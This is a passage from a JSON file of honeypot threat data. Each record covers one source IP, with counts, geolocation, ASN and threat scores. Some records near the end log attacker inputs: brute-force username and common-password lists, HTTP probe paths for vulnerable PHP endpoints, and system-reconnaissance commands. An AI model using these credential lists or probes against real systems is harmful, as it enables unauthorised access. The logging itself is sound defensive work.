        "Cowrie": 4
      }
    },
    "66.132.172.212": {
      "attack_count": 4,
      "first_seen": "2026-04-24T00:49:37.747Z",
      "last_seen": "2026-04-24T00:49:53.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T16:52:54+00:00",
        "last_seen_30d": "2026-04-30T19:35:18.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 31,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "99.233.216.192": {
      "attack_count": 4,
      "first_seen": "2026-04-28T02:47:48.054Z",
      "last_seen": "2026-04-28T02:49:54.279Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Barrie",
      "asn": 812,
      "as_org": "Rogers Communications Canada Inc.",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:47:48.054000+00:00",
        "last_seen_30d": "2026-04-28T02:51:03.533000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "104.152.52.127": {
      "attack_count": 3,
      "first_seen": "2026-04-14T08:17:46.412Z",
      "last_seen": "2026-04-14T08:17:46.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T05:46:53+00:00",
        "last_seen_30d": "2026-04-14T08:18:47.542000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3,
        "H0neytr4p": 1
      }
    },
    "166.1.144.62": {
      "attack_count": 3,
      "first_seen": "2026-04-02T16:48:57.882Z",
      "last_seen": "2026-04-02T16:49:06.183Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "id"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:13:51.908000+00:00",
        "last_seen_30d": "2026-04-21T16:21:36.274000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "193.32.162.82": {
      "attack_count": 3,
      "first_seen": "2026-04-18T08:35:51.170Z",
      "last_seen": "2026-04-18T08:35:51.468Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-17T20:25:30.139000+00:00",
        "last_seen_30d": "2026-04-23T03:39:05.150000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "196.218.222.18": {
      "attack_count": 3,
      "first_seen": "2026-04-08T17:03:51.903Z",
      "last_seen": "2026-04-08T17:05:51.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T17:03:51.903000+00:00",
        "last_seen_30d": "2026-04-08T17:16:00.003000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "103.145.168.26": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:45:12.914Z",
      "last_seen": "2026-04-30T07:45:25.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 133697,
      "as_org": "Nikhil Network Solution",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:45:12.914000+00:00",
        "last_seen_30d": "2026-04-30T07:46:28.461000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.75.66.241": {
      "attack_count": 2,
      "first_seen": "2026-04-01T23:22:34.973Z",
      "last_seen": "2026-04-01T23:24:34.980Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Can Tho",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T23:22:34.973000+00:00",
        "last_seen_30d": "2026-04-01T23:34:46.247000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.249": {
      "attack_count": 2,
      "first_seen": "2026-04-23T07:52:46.476Z",
      "last_seen": "2026-04-23T07:52:56.280Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T05:57:53+00:00",
        "last_seen_30d": "2026-04-30T22:43:21.276000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 34,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "150.107.38.251": {
      "attack_count": 2,
      "first_seen": "2026-04-28T23:54:52.018Z",
      "last_seen": "2026-04-28T23:55:29.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 96.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 30,
        "ports_targeted_30d": 120,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:08:57+00:00",
        "last_seen_30d": "2026-04-30T22:34:01.838000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 354,
        "Honeytrap": 96,
        "H0neytr4p": 6,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "154.36.132.163": {
      "attack_count": 2,
      "first_seen": "2026-04-29T22:50:35.481Z",
      "last_seen": "2026-04-29T22:51:06.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 979,
      "as_org": "NetLab Global",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T22:50:35.481000+00:00",
        "last_seen_30d": "2026-04-29T22:52:11.568000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "163.179.18.32": {
      "attack_count": 2,
      "first_seen": "2026-04-05T09:06:37.424Z",
      "last_seen": "2026-04-05T09:07:08.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Dongguan",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T09:06:37.424000+00:00",
        "last_seen_30d": "2026-04-05T09:08:11.821000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "170.64.134.89": {
      "attack_count": 2,
      "first_seen": "2026-04-28T22:33:53.902Z",
      "last_seen": "2026-04-28T22:33:53.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:58:24.407000+00:00",
        "last_seen_30d": "2026-04-29T22:32:51.821000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2
      }
    },
    "173.209.174.59": {
      "attack_count": 2,
      "first_seen": "2026-04-08T23:53:35.394Z",
      "last_seen": "2026-04-08T23:54:06.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Wenatchee",
      "asn": 13370,
      "as_org": "Ziply Fiber",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T23:53:35.394000+00:00",
        "last_seen_30d": "2026-04-08T23:55:07.559000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.53": {
      "attack_count": 2,
      "first_seen": "2026-04-07T20:01:07.758Z",
      "last_seen": "2026-04-07T20:01:07.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:26:53+00:00",
        "last_seen_30d": "2026-04-30T19:58:08.421000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 18,
        "Cowrie": 2
      }
    },
    "201.138.210.152": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:56:33.431Z",
      "last_seen": "2026-04-30T14:56:47.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Teolocholco",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:56:33.431000+00:00",
        "last_seen_30d": "2026-04-30T14:57:49.543000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.161.164.197": {
      "attack_count": 2,
      "first_seen": "2026-04-08T06:47:50.237Z",
      "last_seen": "2026-04-08T06:48:03.303Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aracaju",
      "asn": 268467,
      "as_org": "Voa Internet",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T06:47:50.237000+00:00",
        "last_seen_30d": "2026-04-08T06:49:07.363000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "72.167.222.106": {
      "attack_count": 2,
      "first_seen": "2026-04-30T11:40:47.466Z",
      "last_seen": "2026-04-30T11:41:18.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:40:47.466000+00:00",
        "last_seen_30d": "2026-04-30T11:42:24.190000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.183.95.28": {
      "attack_count": 2,
      "first_seen": "2026-04-04T22:13:23.299Z",
      "last_seen": "2026-04-04T22:13:56.515Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:13:23.299000+00:00",
        "last_seen_30d": "2026-04-04T22:14:57.018000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.233.193.239": {
      "attack_count": 2,
      "first_seen": "2026-04-03T14:11:00.809Z",
      "last_seen": "2026-04-03T14:11:13.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T14:11:00.809000+00:00",
        "last_seen_30d": "2026-04-03T14:12:16.548000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "84.54.71.244": {
      "attack_count": 2,
      "first_seen": "2026-04-26T05:04:44.530Z",
      "last_seen": "2026-04-26T05:06:44.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:04:44.530000+00:00",
        "last_seen_30d": "2026-04-26T05:07:52.878000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.105.108.99": {
      "attack_count": 2,
      "first_seen": "2026-04-07T08:59:29.273Z",
      "last_seen": "2026-04-07T09:01:29.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Tokat Province",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T08:59:29.273000+00:00",
        "last_seen_30d": "2026-04-07T09:12:11.215000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.214.211.7": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:36:36.894Z",
      "last_seen": "2026-04-30T15:36:49.704Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 41202,
      "as_org": "UNITEL LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:36:36.894000+00:00",
        "last_seen_30d": "2026-04-30T15:37:52.307000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.111": {
      "attack_count": 1255,
      "first_seen": "2026-04-16T17:50:17.137Z",
      "last_seen": "2026-04-29T14:17:19.053Z",
      "sessions": 251,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "user",
        "student",
        "alex",
        "bot",
        "debian",
        "deployer",
        "dev",
        "ftpuser",
        "testuser",
        "a",
        "administrator",
        "ali",
        "claude",
        "demo",
        "frappe",
        "git"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "P@ssw0rd",
        "password",
        "1",
        "1234",
        "12345",
        "p@ssw0rd",
        "123root",
        "1qaz@WSX",
        "Aa123456",
        "Admin@123",
        "admin",
        "admin123",
        "airflow",
        "alex123",
        "arthur",
        "bot",
        "root"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 76.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1816,
        "days_active_30d": 17,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T14:09:42.588000+00:00",
        "last_seen_30d": "2026-04-29T14:18:24.133000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1255,
        "Suricata": 552,
        "Honeytrap": 9
      }
    },
    "194.50.16.198": {
      "attack_count": 880,
      "first_seen": "2026-04-15T21:11:37.884Z",
      "last_seen": "2026-04-26T20:59:22.182Z",
      "sessions": 165,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "User-Agent: python-requests/2.27.1",
        "GET // HTTP/1.1",
        "GET /_asterisk/graph.php HTTP/1.1",
        "GET /_asterisk/phpversions.php HTTP/1.1",
        "GET /assets/phpversions.php HTTP/1.1",
        "GET /phpversions.php HTTP/1.1",
        "GET /recordings/misc/graph.php HTTP/1.1",
        "GET /recordings/misc/phpversions.php HTTP/1.1",
        "GET /vtigercrm/phpversions.php HTTP/1.1",
        "GET /admin/assets/js/views/login.js HTTP/1.1",
        "GET /admin/views/phpversions.php HTTP/1.1",
        "GET /assets/graph.php HTTP/1.1",
        "GET /graph.php HTTP/1.1",
        "GET /vtigercrm/graph.php HTTP/1.1",
        "GET //remote/login?lang=en HTTP/1.1",
        "GET /a2billing/admin/Public/graph.php HTTP/1.1",
        "GET /a2billing/admin/Public/index.php HTTP/1.1",
        "GET /a2billing/admin/Public/phpversions.php HTTP/1.1",
        "GET /admin/config.php HTTP/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip, deflate",
        "Connection: keep-alive",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 743993,
        "days_active_30d": 23,
        "ports_targeted_30d": 66847,
        "honeypots_triggered_30d": 20,
        "first_seen_30d": "2026-04-08T12:37:05.987000+00:00",
        "last_seen_30d": "2026-04-30T07:36:05.364000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 533738,
        "Honeytrap": 207844,
        "Cowrie": 880,
        "Mailoney": 406,
        "Dionaea": 231,
        "Sentrypeer": 204,
        "Redishoneypot": 183,
        "Adbhoney": 162,
        "ConPot": 140,
        "Dicompot": 67,
        "ElasticPot": 58,
        "Miniprint": 27,
        "Ipphoney": 16,
        "H0neytr4p": 9,
        "Medpot": 6,
        "Tanner": 6,
        "Ciscoasa": 5,
        "CitrixHoneypot": 3,
        "Honeyaml": 2
      }
    },
    "62.54.176.203": {
      "attack_count": 796,
      "first_seen": "2026-04-08T05:51:33.263Z",
      "last_seen": "2026-04-24T18:26:00.108Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "ubuntu",
        "deploy",
        "admin",
        "ftpuser",
        "guest",
        "mohit",
        "test",
        "user",
        "ali",
        "auser",
        "beehive",
        "botuser",
        "cactiuser",
        "clamav",
        "dev",
        "erpnext",
        "frappe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "Aa112211.",
        "test1234",
        "$upp0rt",
        "1111",
        "121212",
        "1234",
        "1234.qwe",
        "123456",
        "12345687",
        "123@asdf",
        "159357qaz",
        "1Qaz2Wsx3Edc",
        "1q2w3e4r5t",
        "1qaz@WSX",
        "3edc4RFV",
        "A123456",
        "A123456F"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
